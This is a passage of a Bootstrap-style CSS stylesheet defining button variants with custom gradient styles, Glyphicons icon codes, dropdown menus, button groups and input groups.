}

.btn-info {
	color: #ffffff;
	background-color: #5bc0de;
	border-color: #46b8da;
	box-shadow: 0 1px 2px #E7EBEC;
}

.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info
	{
	color: #ffffff;
	background-color: #39b3d7;
	border-color: #269abc;
}

.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info {
	background-image: none;
}

.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active
	{
	background-color: #5bc0de;
	border-color: #46b8da;
}

.btn-info .badge {
	color: #5bc0de;
	background-color: #fff;
}

.btn-link {
	font-weight: normal;
	color: #428bca;
	cursor: pointer;
	border-radius: 0;
}

.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link
	{
	background-color: transparent;
	-webkit-box-shadow: none;
	box-shadow: none;
}

.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active {
	border-color: transparent;
}

.btn-link:hover,.btn-link:focus {
	color: #2a6496;
	text-decoration: underline;
	background-color: transparent;
}

.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus
	{
	color: #999999;
	text-decoration: none;
}

.btn-lg {
	padding: 10px 16px;
	font-size: 18px;
	line-height: 1.33;
	border-radius: 6px;
}

.btn-sm {
	padding: 5px 10px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

.btn-xs {
	padding: 1px 5px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

.btn-block {
	display: block;
	width: 100%;
	padding-right: 0;
	padding-left: 0;
}

.btn-block+.btn-block {
	margin-top: 5px;
}

input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block
	{
	width: 100%;
}

/*buttons custom style 2 */
.style2 {
	border: none;
	color: #fff;
	font-size: 14px;
	font-weight: bold;
	padding: 8px 20px;
}

.btn-default.style2 {
	color: #34495e;
	background: #ecf0f1;
	box-shadow: 0 3px 0 #CACECF;
}

.btn-primary.style2 {
	background: #2980b9;
	box-shadow: 0 3px 0 #1f6796;
}

.btn-success.style2 {
	background: #2ecc71;
	box-shadow: 0 3px 0 #25a85c;
}

.btn-info.style2 {
	background: #3498db;
	box-shadow: 0 3px 0 #2a80b9
}

.btn-warning.style2 {
	background: #f39c12;
	box-shadow: 0 3px 0 #cd830e;
}

.btn-danger.style2 {
	background: #e74c3c;
	box-shadow: 0 3px 0 #bf3d30;
}

/*buttons custom style 3 */
.style3 {
	color: #FFF;
	font-size: 14px;
	font-weight: bold;
	padding: 6px 15px 6px 20px;
	border-radius: 25px;
	box-shadow: 0 2px 2px #DADEDF;
	border: solid 1px;
}

.btn-default.style3 {
	border-color: #cacecf;
	color: #34495e;
	background: #f4f6f7; /* Old browsers */
	background: -moz-linear-gradient(top, #f4f6f7 0%, #ebeff0 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f4f6f7),
		color-stop(100%, #ebeff0) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #f4f6f7 0%, #ebeff0 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #f4f6f7 0%, #ebeff0 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #f4f6f7 0%, #ebeff0 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #f4f6f7 0%, #ebeff0 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#f4f6f7', endColorstr = '#ebeff0', GradientType = 0 ); /* IE6-9 */
}

.btn-primary.style3 {
	border-color: #1f6796;
	background: #279ecb; /* Old browsers */
	background: -moz-linear-gradient(top, #279ecb 0%, #1a67a0 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #279ecb),
		color-stop(100%, #1a67a0) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #279ecb 0%, #1a67a0 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #279ecb 0%, #1a67a0 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #279ecb 0%, #1a67a0 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #279ecb 0%, #1a67a0 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#279ecb', endColorstr = '#1a67a0', GradientType = 0 ); /* IE6-9 */
}

.btn-success.style3 {
	border-color: #25a85c;
	background: #40e09e; /* Old browsers */
	background: -moz-linear-gradient(top, #40e09e 0%, #2ac868 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #40e09e),
		color-stop(100%, #2ac868) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #40e09e 0%, #2ac868 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #40e09e 0%, #2ac868 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #40e09e 0%, #2ac868 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #40e09e 0%, #2ac868 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#40e09e', endColorstr = '#2ac868', GradientType = 0 ); /* IE6-9 */
}

.btn-info.style3 {
	border-color: #43a1e0;
	background: #6dd1f8; /* Old browsers */
	background: -moz-linear-gradient(top, #6dd1f8 0%, #48acf3 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #6dd1f8),
		color-stop(100%, #48acf3) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #6dd1f8 0%, #48acf3 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #6dd1f8 0%, #48acf3 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #6dd1f8 0%, #48acf3 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #6dd1f8 0%, #48acf3 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#6dd1f8', endColorstr = '#48acf3', GradientType = 0 ); /* IE6-9 */
}

.btn-warning.style3 {
	border-color: #cd830e;
	background: #f8c419; /* Old browsers */
	background: -moz-linear-gradient(top, #f8c419 0%, #f29410 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8c419),
		color-stop(100%, #f29410) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #f8c419 0%, #f29410 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #f8c419 0%, #f29410 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #f8c419 0%, #f29410 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #f8c419 0%, #f29410 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#f8c419', endColorstr = '#f29410', GradientType = 0 ); /* IE6-9 */
}

.btn-danger.style3 {
	border-color: #bf3d30;
	background: #f16a54; /* Old browsers */
	background: -moz-linear-gradient(top, #f16a54 0%, #e54637 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f16a54),
		color-stop(100%, #e54637) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #f16a54 0%, #e54637 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #f16a54 0%, #e54637 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #f16a54 0%, #e54637 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #f16a54 0%, #e54637 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#f16a54', endColorstr = '#e54637', GradientType = 0 ); /* IE6-9 */
}

.style3 .caret {
	margin-left: 5px !important;
}

.fade {
	opacity: 0;
	-webkit-transition: opacity 0.15s linear;
	transition: opacity 0.15s linear;
}

.fade.in {
	opacity: 1;
}

.collapse {
	display: none;
}

.collapse.in {
	display: block;
}

.collapsing {
	position: relative;
	height: 0;
	overflow: hidden;
	-webkit-transition: height 0.35s ease;
	transition: height 0.35s ease;
}

@font-face {
	font-family: 'Glyphicons Halflings';
	src: url('../fonts/glyphicons-halflings-regular.eot');
	src: url('../fonts/glyphicons-halflings-regular.eot?#iefix')
		format('embedded-opentype'),
		url('../fonts/glyphicons-halflings-regular.woff') format('woff'),
		url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),
		url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular')
		format('svg');
}

.glyphicon {
	position: relative;
	top: 1px;
	display: inline-block;
	font-family: 'Glyphicons Halflings';
	-webkit-font-smoothing: antialiased;
	font-style: normal;
	font-weight: normal;
	line-height: 1;
	-moz-osx-font-smoothing: grayscale;
}

.glyphicon:empty {
	width: 1em;
}

.glyphicon-asterisk:before {
	content: "\2a";
}

.glyphicon-plus:before {
	content: "\2b";
}

.glyphicon-euro:before {
	content: "\20ac";
}

.glyphicon-minus:before {
	content: "\2212";
}

.glyphicon-cloud:before {
	content: "\2601";
}

.glyphicon-envelope:before {
	content: "\2709";
}

.glyphicon-pencil:before {
	content: "\270f";
}

.glyphicon-glass:before {
	content: "\e001";
}

.glyphicon-music:before {
	content: "\e002";
}

.glyphicon-search:before {
	content: "\e003";
}

.glyphicon-heart:before {
	content: "\e005";
}

.glyphicon-star:before {
	content: "\e006";
}

.glyphicon-star-empty:before {
	content: "\e007";
}

.glyphicon-user:before {
	content: "\e008";
}

.glyphicon-film:before {
	content: "\e009";
}

.glyphicon-th-large:before {
	content: "\e010";
}

.glyphicon-th:before {
	content: "\e011";
}

.glyphicon-th-list:before {
	content: "\e012";
}

.glyphicon-ok:before {
	content: "\e013";
}

.glyphicon-remove:before {
	content: "\e014";
}

.glyphicon-zoom-in:before {
	content: "\e015";
}

.glyphicon-zoom-out:before {
	content: "\e016";
}

.glyphicon-off:before {
	content: "\e017";
}

.glyphicon-signal:before {
	content: "\e018";
}

.glyphicon-cog:before {
	content: "\e019";
}

.glyphicon-trash:before {
	content: "\e020";
}

.glyphicon-home:before {
	content: "\e021";
}

.glyphicon-file:before {
	content: "\e022";
}

.glyphicon-time:before {
	content: "\e023";
}

.glyphicon-road:before {
	content: "\e024";
}

.glyphicon-download-alt:before {
	content: "\e025";
}

.glyphicon-download:before {
	content: "\e026";
}

.glyphicon-upload:before {
	content: "\e027";
}

.glyphicon-inbox:before {
	content: "\e028";
}

.glyphicon-play-circle:before {
	content: "\e029";
}

.glyphicon-repeat:before {
	content: "\e030";
}

.glyphicon-refresh:before {
	content: "\e031";
}

.glyphicon-list-alt:before {
	content: "\e032";
}

.glyphicon-lock:before {
	content: "\e033";
}

.glyphicon-flag:before {
	content: "\e034";
}

.glyphicon-headphones:before {
	content: "\e035";
}

.glyphicon-volume-off:before {
	content: "\e036";
}

.glyphicon-volume-down:before {
	content: "\e037";
}

.glyphicon-volume-up:before {
	content: "\e038";
}

.glyphicon-qrcode:before {
	content: "\e039";
}

.glyphicon-barcode:before {
	content: "\e040";
}

.glyphicon-tag:before {
	content: "\e041";
}

.glyphicon-tags:before {
	content: "\e042";
}

.glyphicon-book:before {
	content: "\e043";
}

.glyphicon-bookmark:before {
	content: "\e044";
}

.glyphicon-print:before {
	content: "\e045";
}

.glyphicon-camera:before {
	content: "\e046";
}

.glyphicon-font:before {
	content: "\e047";
}

.glyphicon-bold:before {
	content: "\e048";
}

.glyphicon-italic:before {
	content: "\e049";
}

.glyphicon-text-height:before {
	content: "\e050";
}

.glyphicon-text-width:before {
	content: "\e051";
}

.glyphicon-align-left:before {
	content: "\e052";
}

.glyphicon-align-center:before {
	content: "\e053";
}

.glyphicon-align-right:before {
	content: "\e054";
}

.glyphicon-align-justify:before {
	content: "\e055";
}

.glyphicon-list:before {
	content: "\e056";
}

.glyphicon-indent-left:before {
	content: "\e057";
}

.glyphicon-indent-right:before {
	content: "\e058";
}

.glyphicon-facetime-video:before {
	content: "\e059";
}

.glyphicon-picture:before {
	content: "\e060";
}

.glyphicon-map-marker:before {
	content: "\e062";
}

.glyphicon-adjust:before {
	content: "\e063";
}

.glyphicon-tint:before {
	content: "\e064";
}

.glyphicon-edit:before {
	content: "\e065";
}

.glyphicon-share:before {
	content: "\e066";
}

.glyphicon-check:before {
	content: "\e067";
}

.glyphicon-move:before {
	content: "\e068";
}

.glyphicon-step-backward:before {
	content: "\e069";
}

.glyphicon-fast-backward:before {
	content: "\e070";
}

.glyphicon-backward:before {
	content: "\e071";
}

.glyphicon-play:before {
	content: "\e072";
}

.glyphicon-pause:before {
	content: "\e073";
}

.glyphicon-stop:before {
	content: "\e074";
}

.glyphicon-forward:before {
	content: "\e075";
}

.glyphicon-fast-forward:before {
	content: "\e076";
}

.glyphicon-step-forward:before {
	content: "\e077";
}

.glyphicon-eject:before {
	content: "\e078";
}

.glyphicon-chevron-left:before {
	content: "\e079";
}

.glyphicon-chevron-right:before {
	content: "\e080";
}

.glyphicon-plus-sign:before {
	content: "\e081";
}

.glyphicon-minus-sign:before {
	content: "\e082";
}

.glyphicon-remove-sign:before {
	content: "\e083";
}

.glyphicon-ok-sign:before {
	content: "\e084";
}

.glyphicon-question-sign:before {
	content: "\e085";
}

.glyphicon-info-sign:before {
	content: "\e086";
}

.glyphicon-screenshot:before {
	content: "\e087";
}

.glyphicon-remove-circle:before {
	content: "\e088";
}

.glyphicon-ok-circle:before {
	content: "\e089";
}

.glyphicon-ban-circle:before {
	content: "\e090";
}

.glyphicon-arrow-left:before {
	content: "\e091";
}

.glyphicon-arrow-right:before {
	content: "\e092";
}

.glyphicon-arrow-up:before {
	content: "\e093";
}

.glyphicon-arrow-down:before {
	content: "\e094";
}

.glyphicon-share-alt:before {
	content: "\e095";
}

.glyphicon-resize-full:before {
	content: "\e096";
}

.glyphicon-resize-small:before {
	content: "\e097";
}

.glyphicon-exclamation-sign:before {
	content: "\e101";
}

.glyphicon-gift:before {
	content: "\e102";
}

.glyphicon-leaf:before {
	content: "\e103";
}

.glyphicon-fire:before {
	content: "\e104";
}

.glyphicon-eye-open:before {
	content: "\e105";
}

.glyphicon-eye-close:before {
	content: "\e106";
}

.glyphicon-warning-sign:before {
	content: "\e107";
}

.glyphicon-plane:before {
	content: "\e108";
}

.glyphicon-calendar:before {
	content: "\e109";
}

.glyphicon-random:before {
	content: "\e110";
}

.glyphicon-comment:before {
	content: "\e111";
}

.glyphicon-magnet:before {
	content: "\e112";
}

.glyphicon-chevron-up:before {
	content: "\e113";
}

.glyphicon-chevron-down:before {
	content: "\e114";
}

.glyphicon-retweet:before {
	content: "\e115";
}

.glyphicon-shopping-cart:before {
	content: "\e116";
}

.glyphicon-folder-close:before {
	content: "\e117";
}

.glyphicon-folder-open:before {
	content: "\e118";
}

.glyphicon-resize-vertical:before {
	content: "\e119";
}

.glyphicon-resize-horizontal:before {
	content: "\e120";
}

.glyphicon-hdd:before {
	content: "\e121";
}

.glyphicon-bullhorn:before {
	content: "\e122";
}

.glyphicon-bell:before {
	content: "\e123";
}

.glyphicon-certificate:before {
	content: "\e124";
}

.glyphicon-thumbs-up:before {
	content: "\e125";
}

.glyphicon-thumbs-down:before {
	content: "\e126";
}

.glyphicon-hand-right:before {
	content: "\e127";
}

.glyphicon-hand-left:before {
	content: "\e128";
}

.glyphicon-hand-up:before {
	content: "\e129";
}

.glyphicon-hand-down:before {
	content: "\e130";
}

.glyphicon-circle-arrow-right:before {
	content: "\e131";
}

.glyphicon-circle-arrow-left:before {
	content: "\e132";
}

.glyphicon-circle-arrow-up:before {
	content: "\e133";
}

.glyphicon-circle-arrow-down:before {
	content: "\e134";
}

.glyphicon-globe:before {
	content: "\e135";
}

.glyphicon-wrench:before {
	content: "\e136";
}

.glyphicon-tasks:before {
	content: "\e137";
}

.glyphicon-filter:before {
	content: "\e138";
}

.glyphicon-briefcase:before {
	content: "\e139";
}

.glyphicon-fullscreen:before {
	content: "\e140";
}

.glyphicon-dashboard:before {
	content: "\e141";
}

.glyphicon-paperclip:before {
	content: "\e142";
}

.glyphicon-heart-empty:before {
	content: "\e143";
}

.glyphicon-link:before {
	content: "\e144";
}

.glyphicon-phone:before {
	content: "\e145";
}

.glyphicon-pushpin:before {
	content: "\e146";
}

.glyphicon-usd:before {
	content: "\e148";
}

.glyphicon-gbp:before {
	content: "\e149";
}

.glyphicon-sort:before {
	content: "\e150";
}

.glyphicon-sort-by-alphabet:before {
	content: "\e151";
}

.glyphicon-sort-by-alphabet-alt:before {
	content: "\e152";
}

.glyphicon-sort-by-order:before {
	content: "\e153";
}

.glyphicon-sort-by-order-alt:before {
	content: "\e154";
}

.glyphicon-sort-by-attributes:before {
	content: "\e155";
}

.glyphicon-sort-by-attributes-alt:before {
	content: "\e156";
}

.glyphicon-unchecked:before {
	content: "\e157";
}

.glyphicon-expand:before {
	content: "\e158";
}

.glyphicon-collapse-down:before {
	content: "\e159";
}

.glyphicon-collapse-up:before {
	content: "\e160";
}

.glyphicon-log-in:before {
	content: "\e161";
}

.glyphicon-flash:before {
	content: "\e162";
}

.glyphicon-log-out:before {
	content: "\e163";
}

.glyphicon-new-window:before {
	content: "\e164";
}

.glyphicon-record:before {
	content: "\e165";
}

.glyphicon-save:before {
	content: "\e166";
}

.glyphicon-open:before {
	content: "\e167";
}

.glyphicon-saved:before {
	content: "\e168";
}

.glyphicon-import:before {
	content: "\e169";
}

.glyphicon-export:before {
	content: "\e170";
}

.glyphicon-send:before {
	content: "\e171";
}

.glyphicon-floppy-disk:before {
	content: "\e172";
}

.glyphicon-floppy-saved:before {
	content: "\e173";
}

.glyphicon-floppy-remove:before {
	content: "\e174";
}

.glyphicon-floppy-save:before {
	content: "\e175";
}

.glyphicon-floppy-open:before {
	content: "\e176";
}

.glyphicon-credit-card:before {
	content: "\e177";
}

.glyphicon-transfer:before {
	content: "\e178";
}

.glyphicon-cutlery:before {
	content: "\e179";
}

.glyphicon-header:before {
	content: "\e180";
}

.glyphicon-compressed:before {
	content: "\e181";
}

.glyphicon-earphone:before {
	content: "\e182";
}

.glyphicon-phone-alt:before {
	content: "\e183";
}

.glyphicon-tower:before {
	content: "\e184";
}

.glyphicon-stats:before {
	content: "\e185";
}

.glyphicon-sd-video:before {
	content: "\e186";
}

.glyphicon-hd-video:before {
	content: "\e187";
}

.glyphicon-subtitles:before {
	content: "\e188";
}

.glyphicon-sound-stereo:before {
	content: "\e189";
}

.glyphicon-sound-dolby:before {
	content: "\e190";
}

.glyphicon-sound-5-1:before {
	content: "\e191";
}

.glyphicon-sound-6-1:before {
	content: "\e192";
}

.glyphicon-sound-7-1:before {
	content: "\e193";
}

.glyphicon-copyright-mark:before {
	content: "\e194";
}

.glyphicon-registration-mark:before {
	content: "\e195";
}

.glyphicon-cloud-download:before {
	content: "\e197";
}

.glyphicon-cloud-upload:before {
	content: "\e198";
}

.glyphicon-tree-conifer:before {
	content: "\e199";
}

.glyphicon-tree-deciduous:before {
	content: "\e200";
}

.caret {
	display: inline-block;
	width: 0;
	height: 0;
	margin-left: 2px;
	vertical-align: middle;
	border-top: 4px solid;
	border-right: 4px solid transparent;
	border-left: 4px solid transparent;
}

.dropdown {
	position: relative;
}

.dropdown-toggle:focus {
	outline: 0;
}

.dropdown-menu {
	position: absolute;
	top: 100%;
	left: 0;
	z-index: 1000;
	display: none;
	float: left;
	min-width: 160px;
	padding: 5px 0;
	margin: 2px 0 0;
	font-size: 14px;
	list-style: none;
	background-color: #ffffff;
	border: 1px solid #cccccc;
	border: 1px solid rgba(0, 0, 0, 0.15);
	border-radius: 4px;
	-webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
	box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
	background-clip: padding-box;
}

.dropdown-menu.pull-right {
	right: 0;
	left: auto;
}

.dropdown-menu .divider {
	height: 1px;
	margin: 9px 0;
	overflow: hidden;
	background-color: #e5e5e5;
}

.dropdown-menu>li>a {
	display: block;
	padding: 3px 20px;
	clear: both;
	font-weight: normal;
	line-height: 1.428571429;
	color: #333333;
	white-space: nowrap;
}

.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus {
	color: #262626;
	text-decoration: none;
	background-color: #f5f5f5;
}

.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus
	{
	color: #ffffff;
	text-decoration: none;
	background-color: #428bca;
	outline: 0;
}

.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus
	{
	color: #999999;
}

.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus {
	text-decoration: none;
	cursor: not-allowed;
	background-color: transparent;
	background-image: none;
	filter: progid : DXImageTransform.Microsoft.gradient ( enabled = false );
}

.open>.dropdown-menu {
	display: block;
}

.open>a {
	outline: 0;
}

.dropdown-header {
	display: block;
	padding: 3px 20px;
	font-size: 12px;
	line-height: 1.428571429;
	color: #999999;
}

.dropdown-backdrop {
	position: fixed;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	z-index: 990;
}

.pull-right>.dropdown-menu {
	right: 0;
	left: auto;
}

.dropup .caret,.navbar-fixed-bottom .dropdown .caret {
	border-top: 0;
	border-bottom: 4px solid;
	content: "";
}

.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu {
	top: auto;
	bottom: 100%;
	margin-bottom: 1px;
}

@media ( min-width : 768px) {
	.navbar-right .dropdown-menu {
		right: 0;
		left: auto;
	}
}

.btn-group,.btn-group-vertical {
	position: relative;
	display: inline-block;
	vertical-align: middle;
}

.btn-group>.btn,.btn-group-vertical>.btn {
	position: relative;
	float: left;
}

.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active
	{
	z-index: 2;
}

.btn-group>.btn:focus,.btn-group-vertical>.btn:focus {
	outline: none;
}

.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group
	{
	margin-left: -1px;
}

.btn-toolbar:before,.btn-toolbar:after {
	display: table;
	content: " ";
}

.btn-toolbar:after {
	clear: both;
}

.btn-toolbar:before,.btn-toolbar:after {
	display: table;
	content: " ";
}

.btn-toolbar:after {
	clear: both;
}

.btn-toolbar .btn-group {
	float: left;
}

.btn-toolbar>.btn+.btn,.btn-toolbar>.btn-group+.btn,.btn-toolbar>.btn+.btn-group,.btn-toolbar>.btn-group+.btn-group
	{
	margin-left: 5px;
}

.btn-group>.btn:not (:first-child ):not (:last-child ):not (.dropdown-toggle
	) {
	border-radius: 0;
}

.btn-group>.btn:first-child {
	margin-left: 0;
}

.btn-group>.btn:first-child:not (:last-child ):not (.dropdown-toggle ) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}

.btn-group>.btn:last-child:not (:first-child ),.btn-group>.dropdown-toggle:not
	(:first-child ) {
	border-bottom-left-radius: 0;
	border-top-left-radius: 0;
}

.btn-group>.btn-group {
	float: left;
}

.btn-group>.btn-group:not (:first-child ):not (:last-child ) >.btn {
	border-radius: 0;
}

.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle
	{
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}

.btn-group>.btn-group:last-child>.btn:first-child {
	border-bottom-left-radius: 0;
	border-top-left-radius: 0;
}

.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle {
	outline: 0;
}

.btn-group-xs>.btn {
	padding: 1px 5px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

.btn-group-sm>.btn {
	padding: 5px 10px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

.btn-group-lg>.btn {
	padding: 10px 16px;
	font-size: 18px;
	line-height: 1.33;
	border-radius: 6px;
}

.btn-group>.btn+.dropdown-toggle {
	padding-right: 8px;
	padding-left: 8px;
}

.btn-group>.btn-lg+.dropdown-toggle {
	padding-right: 12px;
	padding-left: 12px;
}

.btn-group.open .dropdown-toggle {
	-webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
	box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}

.btn-group.open .dropdown-toggle.btn-link {
	-webkit-box-shadow: none;
	box-shadow: none;
}

.btn .caret {
	margin-left: 0;
}

.btn-lg .caret {
	border-width: 5px 5px 0;
	border-bottom-width: 0;
}

.dropup .btn-lg .caret {
	border-width: 0 5px 5px;
}

.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn
	{
	display: block;
	float: none;
	width: 100%;
	max-width: 100%;
}

.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after
	{
	display: table;
	content: " ";
}

.btn-group-vertical>.btn-group:after {
	clear: both;
}

.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after
	{
	display: table;
	content: " ";
}

.btn-group-vertical>.btn-group:after {
	clear: both;
}

.btn-group-vertical>.btn-group>.btn {
	float: none;
}

.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group
	{
	margin-top: -1px;
	margin-left: 0;
}

.btn-group-vertical>.btn:not (:first-child ):not (:last-child ) {
	border-radius: 0;
}

.btn-group-vertical>.btn:first-child:not (:last-child ) {
	border-top-right-radius: 4px;
	border-bottom-right-radius: 0;
	border-bottom-left-radius: 0;
}

.btn-group-vertical>.btn:last-child:not (:first-child ) {
	border-top-right-radius: 0;
	border-bottom-left-radius: 4px;
	border-top-left-radius: 0;
}

.btn-group-vertical>.btn-group:not (:first-child ):not (:last-child ) >.btn
	{
	border-radius: 0;
}

.btn-group-vertical>.btn-group:first-child>.btn:last-child,.btn-group-vertical>.btn-group:first-child>.dropdown-toggle
	{
	border-bottom-right-radius: 0;
	border-bottom-left-radius: 0;
}

.btn-group-vertical>.btn-group:last-child>.btn:first-child {
	border-top-right-radius: 0;
	border-top-left-radius: 0;
}

.btn-group-justified {
	display: table;
	width: 100%;
	border-collapse: separate;
	table-layout: fixed;
}

.btn-group-justified>.btn,.btn-group-justified>.btn-group {
	display: table-cell;
	float: none;
	width: 1%;
}

.btn-group-justified>.btn-group .btn {
	width: 100%;
}

[data-toggle="buttons"]>.btn>input[type="radio"],[data-toggle="buttons"]>.btn>input[type="checkbox"]
	{
	display: none;
}

.input-group {
	position: relative;
	display: table;
	border-collapse: separate;
}

.input-group[class *="col-"] {
	float: none;
	padding-right: 0;
	padding-left: 0;
}

.input-group .form-control {
	width: 100%;
	margin-bottom: 0;
}

.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn
	{
	height: 46px;
	padding: 10px 16px;
	font-size: 18px;
	line-height: 1.33;
	border-radius: 6px;
}

select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn
	{
	height: 46px;
	line-height: 46px;
}

textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn
	{
	height: auto;
}

.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn
	{
	height: 30px;
	padding: 5px 10px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn
	{
	height: 30px;
	line-height: 30px;
}

textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn
	{
	height: auto;
}

.input-group-addon,.input-group-btn,.input-group .form-control {
	display: table-cell;
}

.input-group-addon:not (:first-child ):not (:last-child ),.input-group-btn:not
	(:first-child ):not (:last-child ),.input-group .form-control:not (:first-child
	):not (:last-child ) {
	border-radius: 0;
}

.input-group-addon,.input-group-btn {
	width: 1%;
	white-space: nowrap;
	vertical-align: middle;
}

.input-group-addon {
	padding: 6px 12px;
	font-size: 14px;
	font-weight: normal;
	line-height: 1;
	color: #555555;
	text-align: center;
	background-color: #eeeeee;
	border: 1px solid #cccccc;
	border-radius: 4px;
}

.input-group-addon.input-sm {
	padding: 5px 10px;
	font-size: 12px;
	border-radius: 3px;
}

.input-group-addon.input-lg {
	padding: 10px 16px;
	font-size: 18px;
	border-radius: 6px;
}

.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]
	{
	margin-top: 0;
}

.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not
	(:last-child ):not (.dropdown-toggle ) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}

.input-group-addon:first-child {
	border-right: 0;
}

.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not
	(:first-child ) {
	border-bottom-left-radius: 0;
	border-top-left-radius: 0;
}

.input-group-addon:last-child {
	border-left: 0;
}

.input-group-btn {
	position: relative;
	white-space: nowrap;
}

.input-group-btn:first-child>.btn {
